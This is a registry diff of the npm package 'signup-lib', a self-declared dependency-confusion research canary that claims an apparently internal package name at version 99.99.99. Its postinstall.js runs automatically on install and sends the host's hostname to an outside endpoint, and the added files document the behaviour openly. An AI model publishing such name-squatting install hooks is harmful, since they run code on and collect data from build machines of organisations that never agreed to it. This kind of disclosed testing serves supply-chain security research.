signup-lib 0.0.0-stage → 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/DISCLOSURE +30 -0
- package/README.md +14 -2
- package/index.js +3 -0
- package/package.json +20 -4
- package/postinstall.js +77 -0
- package/source.txt +19 -0
package/DISCLOSURE
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
DISCLOSURE — npm Dual-Use Content Policy
|
|
2
|
+
========================================
|
|
3
|
+
|
|
4
|
+
This package is DUAL-USE security-research content, declared under npm's
|
|
5
|
+
Dual-Use Content Policy (package.json: "contentPolicy": { "class": "dual-use" }).
|
|
6
|
+
|
|
7
|
+
Dual-use functionality
|
|
8
|
+
----------------------
|
|
9
|
+
On installation, a postinstall script performs a single outbound HTTPS GET
|
|
10
|
+
request to a researcher-controlled endpoint, carrying ONLY the installing
|
|
11
|
+
machine's hostname (os.hostname()). Its purpose is to detect whether a build
|
|
12
|
+
pipeline resolves this package name from the public npm registry instead of the
|
|
13
|
+
intended private/internal package of the same name (a dependency-confusion
|
|
14
|
+
test).
|
|
15
|
+
|
|
16
|
+
It does NOT:
|
|
17
|
+
- read files, environment variables, tokens, or credentials
|
|
18
|
+
- collect system, cloud-metadata, or network information beyond the hostname
|
|
19
|
+
- establish persistence, open a shell, or execute any remote code
|
|
20
|
+
- modify, delete, or write to the host
|
|
21
|
+
- intentionally break the host build (all error paths are swallowed)
|
|
22
|
+
|
|
23
|
+
Intended legitimate use
|
|
24
|
+
-----------------------
|
|
25
|
+
Supply-chain / dependency-confusion assessment of a build pipeline. The package
|
|
26
|
+
name was observed, unclaimed on the public registry, in a published JavaScript
|
|
27
|
+
source map during that assessment.
|
|
28
|
+
|
|
29
|
+
Contact: depconf@h1.cx
|
|
30
|
+
Date: 2026-11-16
|
package/README.md
CHANGED
|
@@ -1,3 +1,15 @@
|
|
|
1
|
-
#
|
|
1
|
+
# signup-lib (security-research canary)
|
|
2
2
|
|
|
3
|
-
This
|
|
3
|
+
**This is not a real library.** It is a harmless placeholder publishedd to test for a dependency-confusion vulnerability.
|
|
4
|
+
|
|
5
|
+
On install it sends a single request containing **only the machine hostname**
|
|
6
|
+
to a researcher-controlled endpoint, so an authorized tester can confirm
|
|
7
|
+
whether a build pipeline resolved this name from the public npm registry
|
|
8
|
+
instead of the intended private one.
|
|
9
|
+
|
|
10
|
+
It collects nothing else: no files, no environment variables, no credentials.
|
|
11
|
+
It does not alter the host and is designed never to break an install.
|
|
12
|
+
|
|
13
|
+
If you are seeing this unexpectedly, your build may be resolving an internal
|
|
14
|
+
package name from the public registry. Please contact the address in
|
|
15
|
+
`source.txt` and consider claiming/scoping this name on your private registry.
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,22 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "signup-lib",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "99.99.99",
|
|
4
|
+
"description": "Authorized security-research canary for dependency-confusion testing. Reports only the install hostname. No payload. See source.txt.",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"author": "foobar7",
|
|
7
|
+
"homepage": "",
|
|
8
|
+
"main": "index.js",
|
|
9
|
+
"contentPolicy": {
|
|
10
|
+
"class": "dual-use"
|
|
11
|
+
},
|
|
12
|
+
"scripts": {
|
|
13
|
+
"postinstall": "node postinstall.js"
|
|
14
|
+
},
|
|
15
|
+
"files": [
|
|
16
|
+
"index.js",
|
|
17
|
+
"postinstall.js",
|
|
18
|
+
"DISCLOSURE",
|
|
19
|
+
"source.txt",
|
|
20
|
+
"README.md"
|
|
21
|
+
]
|
|
22
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/*
|
|
4
|
+
* Benign install canary for AUTHORIZED dependency-confusion testing.
|
|
5
|
+
*
|
|
6
|
+
* Purpose: prove that a build pipeline resolved this package name from the
|
|
7
|
+
* PUBLIC npm registry. On install it (1) prints a clear human-readable notice
|
|
8
|
+
* and (2) reports ONLY the machine hostname, once, to a researcher-controlled
|
|
9
|
+
* endpoint.
|
|
10
|
+
*
|
|
11
|
+
* It does NOT read files, environment variables, credentials, or any other
|
|
12
|
+
* host data. It never alters the host and never fails or blocks the install.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
// Belt-and-suspenders: whatever happens, do not fail the host install.
|
|
16
|
+
process.on('uncaughtException', function () {
|
|
17
|
+
try { process.exit(0); } catch (e) {}
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
// (1) Print the notice FIRST, synchronously, so a developer sees it even if
|
|
21
|
+
// the network beacon is blocked. Written to stderr, which CI logs surface
|
|
22
|
+
// more reliably than stdout. This block cannot meaningfully throw.
|
|
23
|
+
try {
|
|
24
|
+
var CONTACT = 'depconf@h1.cx';
|
|
25
|
+
var banner = [
|
|
26
|
+
'',
|
|
27
|
+
'============================================================',
|
|
28
|
+
' NOTICE: signup-lib (public npm) — SECURITY RESEARCH CANARY',
|
|
29
|
+
'============================================================',
|
|
30
|
+
' This package was installed from the PUBLIC npm registry.',
|
|
31
|
+
' If you expected an INTERNAL/private "signup-lib", your',
|
|
32
|
+
' build just resolved the PUBLIC name instead. That is a',
|
|
33
|
+
' dependency-confusion exposure in this build pipeline.',
|
|
34
|
+
'',
|
|
35
|
+
' This package is a HARMLESS canary published',
|
|
36
|
+
' for a security assessment. On install it prints this',
|
|
37
|
+
' notice and reports only this machine hostname. It does',
|
|
38
|
+
' NOT read files, environment variables, or secrets, and',
|
|
39
|
+
' does NOT change anything on this machine.',
|
|
40
|
+
'',
|
|
41
|
+
' What to do:',
|
|
42
|
+
' - Treat this as a real finding.',
|
|
43
|
+
' - Pin/scope the internal "signup-lib" to your private',
|
|
44
|
+
' registry so the public name can no longer be resolved.',
|
|
45
|
+
' - Contact: ' + CONTACT,
|
|
46
|
+
' - Details: see DISCLOSURE and source.txt in this package.',
|
|
47
|
+
'============================================================',
|
|
48
|
+
''
|
|
49
|
+
].join('\n');
|
|
50
|
+
process.stderr.write(banner + '\n');
|
|
51
|
+
} catch (e) {
|
|
52
|
+
// Intentionally silent.
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// (2) Minimal beacon: hostname only, URL-encoded. Enough to attribute the
|
|
56
|
+
// install to a specific build host; nothing more is collected.
|
|
57
|
+
try {
|
|
58
|
+
var os = require('os');
|
|
59
|
+
var https = require('https');
|
|
60
|
+
|
|
61
|
+
var host = encodeURIComponent((os.hostname && os.hostname()) || 'unknown');
|
|
62
|
+
var url = 'https://h1.cx/log?depconf=' + host;
|
|
63
|
+
|
|
64
|
+
var req = https.get(url, { timeout: 3000 }, function (res) {
|
|
65
|
+
// Drain and discard the response; we never act on it.
|
|
66
|
+
res.resume();
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
// Fail safe on every async path.
|
|
70
|
+
req.on('error', function () {});
|
|
71
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
|
|
72
|
+
} catch (e) {
|
|
73
|
+
// Intentionally silent.
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// No explicit process.exit() here: the request is async, so we let the event
|
|
77
|
+
// loop drain naturally and exit 0 once the beacon completes or times out.
|
package/source.txt
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
SECURITY RESEARCH CANARY — AUTHORIZED TESTING ONLY
|
|
2
|
+
===================================================
|
|
3
|
+
|
|
4
|
+
Package name: signup-lib
|
|
5
|
+
|
|
6
|
+
Why it exists: The unscoped name "signup-lib" was found referenced from
|
|
7
|
+
node_modules inside a published JavaScript source map during an authorized security
|
|
8
|
+
assessment. The name was unclaimed on the public npm
|
|
9
|
+
registry, which is the precondition for a dependency-
|
|
10
|
+
confusion substitution.
|
|
11
|
+
|
|
12
|
+
What it does: On install it reports ONLY the machine hostname, once, to a
|
|
13
|
+
researcher-controlled endpoint, to detect whether a build
|
|
14
|
+
pipeline resolves this name from the PUBLIC registry.
|
|
15
|
+
It reads no files, no environment variables, and no secrets.
|
|
16
|
+
It does not modify the host and never fails the install.
|
|
17
|
+
|
|
18
|
+
Contact: depconf@h1.cx
|
|
19
|
+
Date: 2026-11-16
|